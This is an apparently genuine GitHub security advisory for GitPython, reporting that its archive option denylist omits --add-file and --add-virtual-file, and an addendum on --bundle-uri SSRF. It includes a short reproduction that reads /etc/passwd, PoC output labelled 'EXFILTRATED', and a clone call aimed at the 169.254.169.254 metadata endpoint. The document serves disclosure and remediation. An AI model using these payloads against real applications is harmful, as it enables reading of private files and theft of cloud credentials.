GHSA-539M-9XH6-Q6RR
Vulnerability from github – Published: 2026-08-03 20:14 – Updated: 2026-08-03 20:14Target: gitpython-developers/GitPython
Tested: HEAD 07e80555 (2026-07-25), latest release 3.1.55, git version 2.50.1
Summary
Repo.archive() does call the option guard, so this is not a missing-guard report. The guard is present and working; the denylist it consults is incomplete.
# git/repo/base.py:169
unsafe_git_archive_options = [
# Allows arbitrary command execution through the remote git-upload-archive command.
"--exec",
# Writes output to a caller-controlled filesystem path.
"--output",
"-o",
]
The comment on --output states the protected class in the project's own words: an option that lets the caller name a filesystem path is unsafe. --output is blocked because it writes to a caller-chosen path.
git archive also accepts --add-file=<path> and --add-virtual-file=<path:content> (both present in current git; verified against git version 2.50.1). --add-file reads a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:
$ grep -rniE "add.file|add_file" git/
git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring
Net effect: the guard blocks arbitrary file write at this sink while permitting arbitrary file read at the same sink.
Reachability proof (verified at the sink)
poc/poc_addfile.py at HEAD 07e80555. The PoC creates its own out-of-tree canary, so it runs from a clean machine:
-- CONTROL: options the denylist covers (expect BLOCKED) --
[BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it.
[BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it.
[BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it.
-- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) --
[ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes
archive members: ['f.txt', 'gp_canary.txt']
>>> EXFILTRATED gp_canary.txt: 'secret-canary-12345'
>>> byte-for-byte match with the out-of-tree file: CONFIRMED
-- also: --add-virtual-file (attacker-chosen name AND content) --
[ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes
The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.
Minimal reproduction:
import io, tarfile
from git import Repo
buf = io.BytesIO()
Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd")
print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames())
# ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive
The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by transform_kwargs into --add-file=<path> and reaches git archive unmodified.
Direct precedent
GHSA-6p8h-3wgx-97gf (High, published 2026-07-22) is the same defect on the sibling list: "Incomplete unsafe_git_clone_options denylist omits --template" — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. git log shows the archive list itself has already been extended reactively once, in 701ce32f (fix: Guard unsafe git command options, GHSA-956x-8gvw-wg5v), and the --template omission was then fixed separately in ffcb5359.
--add-virtual-file is the same gap pointing the other way
--add-virtual-file=<path:content> lets the caller inject attacker-chosen content under an attacker-chosen name into an archive that downstream consumers will reasonably treat as repository-derived.
Suggested remediation
- Preferred — allowlist.
Repo.archive()has a small legitimate option surface (format,prefix,worktree_attributes,remote, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this. - Minimum — extend the list with
--add-fileand--add-virtual-file, and make the membership rule "the option takes a filesystem path or URL" rather than "the option executes a command". The existing comment on--outputalready implies that rule; applying it consistently is what closes the class instead of this instance.
Scope limits
- Impact is arbitrary file read at the privileges of the process. Not code execution — I make no such claim here.
- It requires the embedding application to forward caller-influenced kwargs into
Repo.archive(). That is the identical precondition to--output,--execand--template, all of which this project has treated as reportable.
Disclosure
Reported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.
Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately
While auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.
Repo._clone() treats a URL's protocol as a security boundary and applies check_unsafe_protocols() to exactly one input:
clone_url = Git.polish_url(url, expand_vars=False)
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(clone_url) # the positional url only
git clone accepts a second URL via --bundle-uri=<uri>, which git dereferences before the main transport runs. That option is absent from unsafe_git_clone_options, so the option guard passes it, and check_unsafe_protocols() never inspects it. A caller-influenced value therefore drives an outbound request from the host:
Repo.clone_from(trusted_url, dest,
multi_options=["--bundle-uri=http://169.254.169.254/latest/meta-data/"])
# no UnsafeProtocolError, no UnsafeOptionError
Confirmed against a local listener — the request leaves the process:
127.0.0.1 - - [24/Jul/2026 23:07:41] "GET /internal-metadata HTTP/1.1" 404 -
file:///path is likewise accepted without error. Note this is not a tokenisation bypass: multi_options is shlex.split before the check (per c9a26789 / GHSA-x2qx-6953-8485), so the fully-split --bundle-uri=... token is checked and legitimately passes because the option is not on the list.
Why it belongs with this report: both are the membership question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route every URL-bearing option through check_unsafe_protocols(), not only the positional URL. Adding --bundle-uri to unsafe_git_clone_options would be the minimal fix.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.56"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.57"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T20:14:28Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n\n## Summary\n\n`Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**.\n\n```python\n# git/repo/base.py:169\nunsafe_git_archive_options = [\n # Allows arbitrary command execution through the remote git-upload-archive command.\n \"--exec\",\n # Writes output to a caller-controlled filesystem path.\n \"--output\",\n \"-o\",\n]\n```\n\nThe comment on `--output` states the protected class in the project\u0027s own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path.\n\n`git archive` also accepts `--add-file=\u003cpath\u003e` and `--add-virtual-file=\u003cpath:content\u003e` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path \u2014 including an absolute path outside the repository \u2014 and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:\n\n```\n$ grep -rniE \"add.file|add_file\" git/\ngit/index/base.py:771: R\"\"\"Add files from the working tree, ... # unrelated docstring\n```\n\nNet effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink.\n\n## Reachability proof (verified at the sink)\n\n`poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine:\n\n```\n-- CONTROL: options the denylist covers (expect BLOCKED) --\n [BLOCKED] output=\u0027/tmp/gp_written.tar\u0027: --output is not allowed, use `allow_unsafe_options=True` to allow it.\n [BLOCKED] o=\u0027/tmp/gp_written.tar\u0027: -o is not allowed, use `allow_unsafe_options=True` to allow it.\n [BLOCKED] exec=\u0027touch /tmp/gp_exec\u0027: --exec is not allowed, use `allow_unsafe_options=True` to allow it.\n\n-- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) --\n [ALLOWED] add_file=\u0027/tmp/gp_canary.txt\u0027 -\u003e archive 10240 bytes\n archive members: [\u0027f.txt\u0027, \u0027gp_canary.txt\u0027]\n \u003e\u003e\u003e EXFILTRATED gp_canary.txt: \u0027secret-canary-12345\u0027\n \u003e\u003e\u003e byte-for-byte match with the out-of-tree file: CONFIRMED\n\n-- also: --add-virtual-file (attacker-chosen name AND content) --\n [ALLOWED] add_virtual_file=\u0027pwn.txt:hello\u0027 -\u003e archive 10240 bytes\n```\n\nThe three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.\n\nMinimal reproduction:\n\n```python\nimport io, tarfile\nfrom git import Repo\n\nbuf = io.BytesIO()\nRepo(\"/path/to/repo\").archive(buf, format=\"tar\", add_file=\"/etc/passwd\")\nprint(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames())\n# [\u0027\u003crepo files\u003e\u0027, \u0027passwd\u0027] \u003c- contents readable by whoever receives the archive\n```\n\nThe canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=\u003cpath\u003e` and reaches `git archive` unmodified.\n\n## Direct precedent\n\n`GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *\"Incomplete `unsafe_git_clone_options` denylist omits `--template`\"* \u2014 an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`.\n\n## `--add-virtual-file` is the same gap pointing the other way\n\n`--add-virtual-file=\u003cpath:content\u003e` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. \n\n## Suggested remediation\n\n1. **Preferred \u2014 allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.\n2. **Minimum \u2014 extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *\"the option takes a filesystem path or URL\"* rather than *\"the option executes a command\"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance.\n\n## Scope limits\n\n- Impact is **arbitrary file read at the privileges of the process**. Not code execution \u2014 I make no such claim here.\n- It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`, all of which this project has treated as reportable.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.\n---\n\n## Addendum (2026-07-25) \u2014 related observation on the same membership question, filed here rather than separately\n\nWhile auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.\n\n`Repo._clone()` treats a URL\u0027s protocol as a security boundary and applies `check_unsafe_protocols()` to exactly one input:\n\n```python\nclone_url = Git.polish_url(url, expand_vars=False)\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(clone_url) # the positional url only\n```\n\n`git clone` accepts a **second** URL via `--bundle-uri=\u003curi\u003e`, which git dereferences before the main transport runs. That option is absent from `unsafe_git_clone_options`, so the option guard passes it, and `check_unsafe_protocols()` never inspects it. A caller-influenced value therefore drives an outbound request from the host:\n\n```python\nRepo.clone_from(trusted_url, dest,\n multi_options=[\"--bundle-uri=http://169.254.169.254/latest/meta-data/\"])\n# no UnsafeProtocolError, no UnsafeOptionError\n```\n\nConfirmed against a local listener \u2014 the request leaves the process:\n\n```\n127.0.0.1 - - [24/Jul/2026 23:07:41] \"GET /internal-metadata HTTP/1.1\" 404 -\n```\n\n`file:///path` is likewise accepted without error. Note this is **not** a tokenisation bypass: `multi_options` is `shlex.split` before the check (per `c9a26789` / GHSA-x2qx-6953-8485), so the fully-split `--bundle-uri=...` token is checked and legitimately passes because the option is not on the list.\n\nWhy it belongs with this report: both are the *membership* question rather than the matching logic \u2014 is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route **every** URL-bearing option through `check_unsafe_protocols()`, not only the positional URL. Adding `--bundle-uri` to `unsafe_git_clone_options` would be the minimal fix.",
"id": "GHSA-539m-9xh6-q6rr",
"modified": "2026-08-03T20:14:28Z",
"published": "2026-08-03T20:14:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2193"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/7a4f5dcb7bf3cbcbf6e438017efcdfe0bc0d36ca"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.